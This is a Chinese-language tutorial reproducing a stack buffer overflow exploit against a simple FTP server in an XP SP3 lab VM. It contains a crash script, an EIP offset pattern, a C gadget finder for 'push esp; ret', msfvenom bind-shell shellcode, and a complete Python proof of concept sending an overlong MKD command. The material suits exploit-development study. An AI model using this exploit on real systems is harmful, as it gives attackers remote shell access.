学习链接:https://www.fuzzysecurity.com
根据上面的链接,学习windows exploit
含有漏洞的软件:
链接:https://pan.baidu.com/s/1KoqDfeYn-JTMD2OvkD2ErQ
提取码:yooa
xp 虚拟机为xp sp3
我这里用的是吾爱破解的专用虚拟机
链接:https://pan.baidu.com/s/1MS96hus4sA2FSXdmNjHCDg
提取码:ok57
在xp虚拟机里运行有漏洞的软件,用kali链接上去,简单看一下这个程序有啥功能,这个软件是个简易的ftp服务软件。
这里就先不管这个漏洞是如何挖掘出来的,现在只用知道该软件存在缓冲区溢出漏洞,下面的脚本用于调试该漏洞。
import socket
import sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('172.16.250.6',21))
def send(content):
print 'send:\n'+content
s.send(content)
def recv(size):
print 'recived:'
print s.recv(size)
evil ='A'*1000
recv(1024)
send('USER anonymous\r\n')
recv(1024)
send('PASS anonymous\r\n')
recv(1024)
send('MKD ' + evil + '\r\n')
recv(1024)
send('QUIT\r\n')
s.close
recv(1024)
send('USER anonymous\r\n')
recv(1024)
send('PASS anonymous\r\n')
recv(1024)
send('MKD ' + evil + '\r\n')
recv(1024)
send('QUIT\r\n')
s.close
首先我们使用Immunity Debugger Attach上这个软件,便于我们观察,栈溢出后的情况。注意attach上去以后要点击运行,也就是那个红色的三角形。
然后运行上面给出的脚本,再查看xp虚拟机里Immunity Debugger的内容,可以发现,eip已经被覆盖成了0x41414141
下面要确定eip的偏移,我这里使用gdb peda插件来生成字符串来确定偏移
gdb-peda$ pattern create 1000
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x'
gdb-peda$
然后重复上面的步骤(在xp虚拟机里打开那个软件,然后调试器attach上去),只不过这次将脚本里的evil字符串改为
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x
这次eip被覆盖为0x41622541
使用gdb peda插件即可判断偏移
然后接下来的思路就是在栈上布置shellcode,然后将返回地址覆盖为push esp;ret;
指令得以执行栈上的shellcode(原理可以查看/0day2-3.2 定位 shellcode)。
寻找push esp;ret;
指令,我复现的时候,使用作者推荐的mona.py,找到的都是jmp esp指令,而这些指令都是通过错位得到的,导致我一直复现失败,然后我用下面的代码来查找gadgets。
在xp虚拟机里使用下面的代码(来自0day2-3.2.2 获取“跳板”的地址 章节的代码)来搜索gadgets,其中push esp;ret;的机器码是54 C3
#include
#include
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0x54 && ptr[position+1] == 0xC3)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
}
使用msfvenom生成shellcode,该shellcode会监听4444端口来打开一个cmd shell。
-b选项排除坏字节,防止截断。-f选项 生成指定格式的shellcode,这里是c语言格式。
# root @ kali in ~ [1:11:40]
$ msfvenom -p windows/shell_bind_tcp lport=4444 -f c -b '\x00\x0A\x0D'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of c file: 1516 bytes
unsigned char buf[] =
"\xb8\x31\x18\x0e\x0c\xdb\xd2\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x43\x0e\x03\x72\x16\xec\xf9\x88\xce\x72"
"\x01\x70\x0f\x13\x8b\x95\x3e\x13\xef\xde\x11\xa3\x7b\xb2\x9d"
"\x48\x29\x26\x15\x3c\xe6\x49\x9e\x8b\xd0\x64\x1f\xa7\x21\xe7"
"\xa3\xba\x75\xc7\x9a\x74\x88\x06\xda\x69\x61\x5a\xb3\xe6\xd4"
"\x4a\xb0\xb3\xe4\xe1\x8a\x52\x6d\x16\x5a\x54\x5c\x89\xd0\x0f"
"\x7e\x28\x34\x24\x37\x32\x59\x01\x81\xc9\xa9\xfd\x10\x1b\xe0"
"\xfe\xbf\x62\xcc\x0c\xc1\xa3\xeb\xee\xb4\xdd\x0f\x92\xce\x1a"
"\x6d\x48\x5a\xb8\xd5\x1b\xfc\x64\xe7\xc8\x9b\xef\xeb\xa5\xe8"
"\xb7\xef\x38\x3c\xcc\x14\xb0\xc3\x02\x9d\x82\xe7\x86\xc5\x51"
"\x89\x9f\xa3\x34\xb6\xff\x0b\xe8\x12\x74\xa1\xfd\x2e\xd7\xae"
"\x32\x03\xe7\x2e\x5d\x14\x94\x1c\xc2\x8e\x32\x2d\x8b\x08\xc5"
"\x52\xa6\xed\x59\xad\x49\x0e\x70\x6a\x1d\x5e\xea\x5b\x1e\x35"
"\xea\x64\xcb\xa0\xe2\xc3\xa4\xd6\x0f\xb3\x14\x57\xbf\x5c\x7f"
"\x58\xe0\x7d\x80\xb2\x89\x16\x7d\x3d\xa4\xba\x08\xdb\xac\x52"
"\x5d\x73\x58\x91\xba\x4c\xff\xea\xe8\xe4\x97\xa3\xfa\x33\x98"
"\x33\x29\x14\x0e\xb8\x3e\xa0\x2f\xbf\x6a\x80\x38\x28\xe0\x41"
"\x0b\xc8\xf5\x4b\xfb\x69\x67\x10\xfb\xe4\x94\x8f\xac\xa1\x6b"
"\xc6\x38\x5c\xd5\x70\x5e\x9d\x83\xbb\xda\x7a\x70\x45\xe3\x0f"
"\xcc\x61\xf3\xc9\xcd\x2d\xa7\x85\x9b\xfb\x11\x60\x72\x4a\xcb"
"\x3a\x29\x04\x9b\xbb\x01\x97\xdd\xc3\x4f\x61\x01\x75\x26\x34"
"\x3e\xba\xae\xb0\x47\xa6\x4e\x3e\x92\x62\x7e\x75\xbe\xc3\x17"
"\xd0\x2b\x56\x7a\xe3\x86\x95\x83\x60\x22\x66\x70\x78\x47\x63"
"\x3c\x3e\xb4\x19\x2d\xab\xba\x8e\x4e\xfe";
然后是poc的构造,作者说的是字符串的长度还是控制在1000个字节,而且这里在返回地址后要加一些nop指令来作为填充
作者原话
Ideally we would like to have the buffer length modified dynamically so we don’t need to recalculate if we insert a payload with a different size (our total buffer length should remain 1000-bytes). We should also insert some NOP’s (No Operation Performed = \x90) before our payload as padding. You can see the result below. Any shellcode that we insert in the shellcode variable will get executed by our buffer overflow.
POC
import socket
import sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('172.16.250.6',21))
def send(content):
print 'send:\n'+content
s.send(content)
def recv(size):
print 'recived:'
print s.recv(size)
shellcode=(
"\xb8\x31\x18\x0e\x0c\xdb\xd2\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x43\x0e\x03\x72\x16\xec\xf9\x88\xce\x72"
"\x01\x70\x0f\x13\x8b\x95\x3e\x13\xef\xde\x11\xa3\x7b\xb2\x9d"
"\x48\x29\x26\x15\x3c\xe6\x49\x9e\x8b\xd0\x64\x1f\xa7\x21\xe7"
"\xa3\xba\x75\xc7\x9a\x74\x88\x06\xda\x69\x61\x5a\xb3\xe6\xd4"
"\x4a\xb0\xb3\xe4\xe1\x8a\x52\x6d\x16\x5a\x54\x5c\x89\xd0\x0f"
"\x7e\x28\x34\x24\x37\x32\x59\x01\x81\xc9\xa9\xfd\x10\x1b\xe0"
"\xfe\xbf\x62\xcc\x0c\xc1\xa3\xeb\xee\xb4\xdd\x0f\x92\xce\x1a"
"\x6d\x48\x5a\xb8\xd5\x1b\xfc\x64\xe7\xc8\x9b\xef\xeb\xa5\xe8"
"\xb7\xef\x38\x3c\xcc\x14\xb0\xc3\x02\x9d\x82\xe7\x86\xc5\x51"
"\x89\x9f\xa3\x34\xb6\xff\x0b\xe8\x12\x74\xa1\xfd\x2e\xd7\xae"
"\x32\x03\xe7\x2e\x5d\x14\x94\x1c\xc2\x8e\x32\x2d\x8b\x08\xc5"
"\x52\xa6\xed\x59\xad\x49\x0e\x70\x6a\x1d\x5e\xea\x5b\x1e\x35"
"\xea\x64\xcb\xa0\xe2\xc3\xa4\xd6\x0f\xb3\x14\x57\xbf\x5c\x7f"
"\x58\xe0\x7d\x80\xb2\x89\x16\x7d\x3d\xa4\xba\x08\xdb\xac\x52"
"\x5d\x73\x58\x91\xba\x4c\xff\xea\xe8\xe4\x97\xa3\xfa\x33\x98"
"\x33\x29\x14\x0e\xb8\x3e\xa0\x2f\xbf\x6a\x80\x38\x28\xe0\x41"
"\x0b\xc8\xf5\x4b\xfb\x69\x67\x10\xfb\xe4\x94\x8f\xac\xa1\x6b"
"\xc6\x38\x5c\xd5\x70\x5e\x9d\x83\xbb\xda\x7a\x70\x45\xe3\x0f"
"\xcc\x61\xf3\xc9\xcd\x2d\xa7\x85\x9b\xfb\x11\x60\x72\x4a\xcb"
"\x3a\x29\x04\x9b\xbb\x01\x97\xdd\xc3\x4f\x61\x01\x75\x26\x34"
"\x3e\xba\xae\xb0\x47\xa6\x4e\x3e\x92\x62\x7e\x75\xbe\xc3\x17"
"\xd0\x2b\x56\x7a\xe3\x86\x95\x83\x60\x22\x66\x70\x78\x47\x63"
"\x3c\x3e\xb4\x19\x2d\xab\xba\x8e\x4e\xfe")
buffer = "\x90"*20 + shellcode
evil ='A'*247+'\x58\x17\xDA\x77'+buffer+"C"*(749-len(buffer))
#77DA1758
recv(1024)
send('USER anonymous\r\n')
recv(1024)
send('PASS anonymous\r\n')
recv(1024)
send('MKD ' + evil + '\r\n')
recv(1024)
send('QUIT\r\n')
s.close